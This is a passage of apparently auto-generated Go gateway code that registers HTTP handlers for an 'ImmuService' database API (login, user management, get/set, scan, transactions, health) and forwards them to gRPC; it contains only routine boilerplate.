\"streaming calls are not yet supported in the in-process transport\")\n\t\t_, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\treturn\n\t})\n\n\tmux.Handle(\"GET\", pattern_ImmuService_ListTables_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_ListTables_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_ListTables_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_DescribeTable_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_DescribeTable_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_DescribeTable_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_VerifiableSQLGet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_VerifiableSQLGet_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_VerifiableSQLGet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_TruncateDatabase_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tvar stream runtime.ServerTransportStream\n\t\tctx = grpc.NewContextWithServerTransportStream(ctx, &stream)\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateIncomingContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := local_request_ImmuService_TruncateDatabase_0(rctx, inboundMarshaler, server, req, pathParams)\n\t\tmd.HeaderMD, md.TrailerMD = metadata.Join(md.HeaderMD, stream.Header()), metadata.Join(md.TrailerMD, stream.Trailer())\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_TruncateDatabase_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\treturn nil\n}\n\n// RegisterImmuServiceHandlerFromEndpoint is same as RegisterImmuServiceHandler but\n// automatically dials to \"endpoint\" and closes the connection when \"ctx\" gets done.\nfunc RegisterImmuServiceHandlerFromEndpoint(ctx context.Context, mux *runtime.ServeMux, endpoint string, opts []grpc.DialOption) (err error) {\n\tconn, err := grpc.Dial(endpoint, opts...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t\treturn\n\t\t}\n\t\tgo func() {\n\t\t\t<-ctx.Done()\n\t\t\tif cerr := conn.Close(); cerr != nil {\n\t\t\t\tgrpclog.Infof(\"Failed to close conn to %s: %v\", endpoint, cerr)\n\t\t\t}\n\t\t}()\n\t}()\n\n\treturn RegisterImmuServiceHandler(ctx, mux, conn)\n}\n\n// RegisterImmuServiceHandler registers the http handlers for service ImmuService to \"mux\".\n// The handlers forward requests to the grpc endpoint over \"conn\".\nfunc RegisterImmuServiceHandler(ctx context.Context, mux *runtime.ServeMux, conn *grpc.ClientConn) error {\n\treturn RegisterImmuServiceHandlerClient(ctx, mux, NewImmuServiceClient(conn))\n}\n\n// RegisterImmuServiceHandlerClient registers the http handlers for service ImmuService\n// to \"mux\". The handlers forward requests to the grpc endpoint over the given implementation of \"ImmuServiceClient\".\n// Note: the gRPC framework executes interceptors within the gRPC handler. If the passed in \"ImmuServiceClient\"\n// doesn't go through the normal gRPC flow (creating a gRPC client etc.) then it will be up to the passed in\n// \"ImmuServiceClient\" to call the correct interceptors.\nfunc RegisterImmuServiceHandlerClient(ctx context.Context, mux *runtime.ServeMux, client ImmuServiceClient) error {\n\n\tmux.Handle(\"GET\", pattern_ImmuService_ListUsers_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_ListUsers_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_ListUsers_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_CreateUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_CreateUser_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_CreateUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_ChangePassword_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_ChangePassword_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_ChangePassword_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_ChangePermission_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_ChangePermission_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_ChangePermission_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_ChangeSQLPrivileges_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_ChangeSQLPrivileges_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_ChangeSQLPrivileges_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_SetActiveUser_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_SetActiveUser_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_SetActiveUser_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_Login_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_Login_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_Login_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_Logout_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_Logout_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_Logout_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_Set_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_Set_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_Set_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_VerifiableSet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_VerifiableSet_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_VerifiableSet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ImmuService_Get_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_Get_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_Get_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_VerifiableGet_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_VerifiableGet_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_VerifiableGet_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_Delete_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_Delete_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_Delete_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_GetAll_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_GetAll_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_GetAll_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_ExecAll_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_ExecAll_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_ExecAll_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_Scan_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_Scan_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_Scan_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ImmuService_Count_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_Count_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_Count_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ImmuService_CountAll_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_CountAll_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_CountAll_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ImmuService_TxById_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_TxById_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_TxById_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ImmuService_VerifiableTxById_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_VerifiableTxById_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_VerifiableTxById_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_TxScan_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_TxScan_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_TxScan_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"POST\", pattern_ImmuService_History_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_History_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_History_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ImmuService_ServerInfo_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_ServerInfo_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_ServerInfo_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ImmuService_Health_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\t\tresp, md, err := request_ImmuService_Health_0(rctx, inboundMarshaler, client, req, pathParams)\n\t\tctx = runtime.NewServerMetadataContext(ctx, md)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, err)\n\t\t\treturn\n\t\t}\n\n\t\tforward_ImmuService_Health_0(ctx, mux, outboundMarshaler, w, req, resp, mux.GetForwardResponseOptions()...)\n\n\t})\n\n\tmux.Handle(\"GET\", pattern_ImmuService_DatabaseHealth_0, func(w http.ResponseWriter, req *http.Request, pathParams map[string]string) {\n\t\tctx, cancel := context.WithCancel(req.Context())\n\t\tdefer cancel()\n\t\tinboundMarshaler, outboundMarshaler := runtime.MarshalerForRequest(mux, req)\n\t\trctx, err := runtime.AnnotateContext(ctx, mux, req)\n\t\tif err != nil {\n\t\t\truntime.HTTPError(ctx, mux, outboundMarshaler, w, req, 